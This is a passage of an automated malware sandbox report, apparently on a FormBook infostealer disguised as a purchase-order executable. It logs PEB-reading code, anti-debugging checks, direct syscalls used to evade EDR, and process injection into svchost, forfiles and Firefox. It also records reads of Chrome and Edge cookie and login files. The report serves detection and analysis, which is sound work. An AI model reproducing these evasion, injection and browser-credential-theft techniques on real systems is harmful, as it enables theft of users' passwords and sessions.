            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03836A50 mov eax, dword ptr fs:[00000030h]8_2_03836A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03836A50 mov eax, dword ptr fs:[00000030h]8_2_03836A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03836A50 mov eax, dword ptr fs:[00000030h]8_2_03836A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840A5B mov eax, dword ptr fs:[00000030h]8_2_03840A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840A5B mov eax, dword ptr fs:[00000030h]8_2_03840A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386CA6F mov eax, dword ptr fs:[00000030h]8_2_0386CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386CA6F mov eax, dword ptr fs:[00000030h]8_2_0386CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386CA6F mov eax, dword ptr fs:[00000030h]8_2_0386CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DEA60 mov eax, dword ptr fs:[00000030h]8_2_038DEA60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038ACA72 mov eax, dword ptr fs:[00000030h]8_2_038ACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038ACA72 mov eax, dword ptr fs:[00000030h]8_2_038ACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A0 mov eax, dword ptr fs:[00000030h]8_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A0 mov eax, dword ptr fs:[00000030h]8_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A0 mov eax, dword ptr fs:[00000030h]8_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A0 mov eax, dword ptr fs:[00000030h]8_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A0 mov eax, dword ptr fs:[00000030h]8_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A0 mov eax, dword ptr fs:[00000030h]8_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A0 mov eax, dword ptr fs:[00000030h]8_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A0 mov eax, dword ptr fs:[00000030h]8_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A0 mov eax, dword ptr fs:[00000030h]8_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A0 mov eax, dword ptr fs:[00000030h]8_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A0 mov eax, dword ptr fs:[00000030h]8_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A0 mov eax, dword ptr fs:[00000030h]8_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038429A0 mov eax, dword ptr fs:[00000030h]8_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038309AD mov eax, dword ptr fs:[00000030h]8_2_038309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038309AD mov eax, dword ptr fs:[00000030h]8_2_038309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B89B3 mov esi, dword ptr fs:[00000030h]8_2_038B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B89B3 mov eax, dword ptr fs:[00000030h]8_2_038B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B89B3 mov eax, dword ptr fs:[00000030h]8_2_038B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C69C0 mov eax, dword ptr fs:[00000030h]8_2_038C69C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A9D0 mov eax, dword ptr fs:[00000030h]8_2_0383A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A9D0 mov eax, dword ptr fs:[00000030h]8_2_0383A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A9D0 mov eax, dword ptr fs:[00000030h]8_2_0383A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A9D0 mov eax, dword ptr fs:[00000030h]8_2_0383A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A9D0 mov eax, dword ptr fs:[00000030h]8_2_0383A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A9D0 mov eax, dword ptr fs:[00000030h]8_2_0383A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038649D0 mov eax, dword ptr fs:[00000030h]8_2_038649D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FA9D3 mov eax, dword ptr fs:[00000030h]8_2_038FA9D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038BE9E0 mov eax, dword ptr fs:[00000030h]8_2_038BE9E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038629F9 mov eax, dword ptr fs:[00000030h]8_2_038629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038629F9 mov eax, dword ptr fs:[00000030h]8_2_038629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AE908 mov eax, dword ptr fs:[00000030h]8_2_038AE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AE908 mov eax, dword ptr fs:[00000030h]8_2_038AE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038BC912 mov eax, dword ptr fs:[00000030h]8_2_038BC912
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03828918 mov eax, dword ptr fs:[00000030h]8_2_03828918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03828918 mov eax, dword ptr fs:[00000030h]8_2_03828918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B892A mov eax, dword ptr fs:[00000030h]8_2_038B892A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C892B mov eax, dword ptr fs:[00000030h]8_2_038C892B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B0946 mov eax, dword ptr fs:[00000030h]8_2_038B0946
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03904940 mov eax, dword ptr fs:[00000030h]8_2_03904940
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03856962 mov eax, dword ptr fs:[00000030h]8_2_03856962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03856962 mov eax, dword ptr fs:[00000030h]8_2_03856962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03856962 mov eax, dword ptr fs:[00000030h]8_2_03856962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0387096E mov eax, dword ptr fs:[00000030h]8_2_0387096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0387096E mov edx, dword ptr fs:[00000030h]8_2_0387096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0387096E mov eax, dword ptr fs:[00000030h]8_2_0387096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D4978 mov eax, dword ptr fs:[00000030h]8_2_038D4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D4978 mov eax, dword ptr fs:[00000030h]8_2_038D4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038BC97C mov eax, dword ptr fs:[00000030h]8_2_038BC97C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03830887 mov eax, dword ptr fs:[00000030h]8_2_03830887
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038BC89D mov eax, dword ptr fs:[00000030h]8_2_038BC89D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E8C0 mov eax, dword ptr fs:[00000030h]8_2_0385E8C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_039008C0 mov eax, dword ptr fs:[00000030h]8_2_039008C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FA8E4 mov eax, dword ptr fs:[00000030h]8_2_038FA8E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386C8F9 mov eax, dword ptr fs:[00000030h]8_2_0386C8F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386C8F9 mov eax, dword ptr fs:[00000030h]8_2_0386C8F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038BC810 mov eax, dword ptr fs:[00000030h]8_2_038BC810
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03852835 mov eax, dword ptr fs:[00000030h]8_2_03852835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03852835 mov eax, dword ptr fs:[00000030h]8_2_03852835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03852835 mov eax, dword ptr fs:[00000030h]8_2_03852835
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,0_2_00426DA1
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0042202E SetUnhandledExceptionFilter,0_2_0042202E
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_004230F5
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00417D93
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00421FA7

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Found direct / indirect Syscall (likely to bypass EDR)
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtWriteVirtualMemory: Direct from: 0x77762E3CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtMapViewOfSection: Direct from: 0x77762D1CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtNotifyChangeKey: Direct from: 0x77763C2CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtCreateMutant: Direct from: 0x777635CCJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtResumeThread: Direct from: 0x777636ACJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtProtectVirtualMemory: Direct from: 0x77757B2EJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtQuerySystemInformation: Direct from: 0x77762DFCJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtAllocateVirtualMemory: Direct from: 0x77762BFCJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtReadFile: Direct from: 0x77762ADCJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtDelayExecution: Direct from: 0x77762DDCJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtWriteVirtualMemory: Direct from: 0x7776490CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtQueryInformationProcess: Direct from: 0x77762C26Jump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtResumeThread: Direct from: 0x77762FBCJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtCreateUserProcess: Direct from: 0x7776371CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtSetInformationThread: Direct from: 0x777563F9Jump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtAllocateVirtualMemory: Direct from: 0x77763C9CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtSetInformationThread: Direct from: 0x77762B4CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtQueryAttributesFile: Direct from: 0x77762E6CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtClose: Direct from: 0x77762B6C
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtReadVirtualMemory: Direct from: 0x77762E8CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtCreateKey: Direct from: 0x77762C6CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtQuerySystemInformation: Direct from: 0x777648CCJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtAllocateVirtualMemory: Direct from: 0x777648ECJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtQueryVolumeInformationFile: Direct from: 0x77762F2CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtOpenSection: Direct from: 0x77762E0CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtDeviceIoControlFile: Direct from: 0x77762AECJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtAllocateVirtualMemory: Direct from: 0x77762BECJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtQueryInformationToken: Direct from: 0x77762CACJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtTerminateThread: Direct from: 0x77762FCCJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtCreateFile: Direct from: 0x77762FECJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtOpenFile: Direct from: 0x77762DCCJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtOpenKeyEx: Direct from: 0x77762B9CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtSetInformationProcess: Direct from: 0x77762C5CJump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeNtProtectVirtualMemory: Direct from: 0x77762F9CJump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\forfiles.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: NULL target: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: NULL target: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
            Modifies the context of a thread in another process (thread injection)
            Source: C:\Windows\SysWOW64\forfiles.exeThread register set: target process: 4904Jump to behavior
            Queues an APC in another process (thread injection)
            Source: C:\Windows\SysWOW64\forfiles.exeThread APC queued: target process: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeJump to behavior
            Writes to foreign memory regions
            Source: C:\Users\user\Desktop\PO#001498.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 2C10008Jump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0043916A LogonUserW,0_2_0043916A
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,0_2_00436431
            Source: C:\Users\user\Desktop\PO#001498.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO#001498.exe"Jump to behavior
            Source: C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exeProcess created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\SysWOW64\forfiles.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00445DD3
            Source: PO#001498.exe, AnbtBVreItY.exe, 0000000B.00000000.1698654132.0000000001A00000.00000002.00000001.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000B.00000002.3126933417.0000000001A01000.00000002.00000001.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3131925278.0000000001991000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
            Source: AnbtBVreItY.exe, 0000000B.00000000.1698654132.0000000001A00000.00000002.00000001.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000B.00000002.3126933417.0000000001A01000.00000002.00000001.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3131925278.0000000001991000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
            Source: AnbtBVreItY.exe, 0000000B.00000000.1698654132.0000000001A00000.00000002.00000001.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000B.00000002.3126933417.0000000001A01000.00000002.00000001.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3131925278.0000000001991000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: ?Program Manager
            Source: PO#001498.exeBinary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
            Source: AnbtBVreItY.exe, 0000000B.00000000.1698654132.0000000001A00000.00000002.00000001.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000B.00000002.3126933417.0000000001A01000.00000002.00000001.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3131925278.0000000001991000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00410D10 cpuid 0_2_00410D10
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_004223BC
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004711D2 GetUserNameW,0_2_004711D2
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0042039F __invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,0_2_0042039F
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 8.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 8.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000C.00000002.3133057378.0000000004970000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.1776540328.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.3132858119.0000000004920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.1776852488.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.3133096714.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3132094860.00000000044C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.3120123793.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.1777534454.0000000005050000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Tries to steal Mail credentials (via file / registry access)
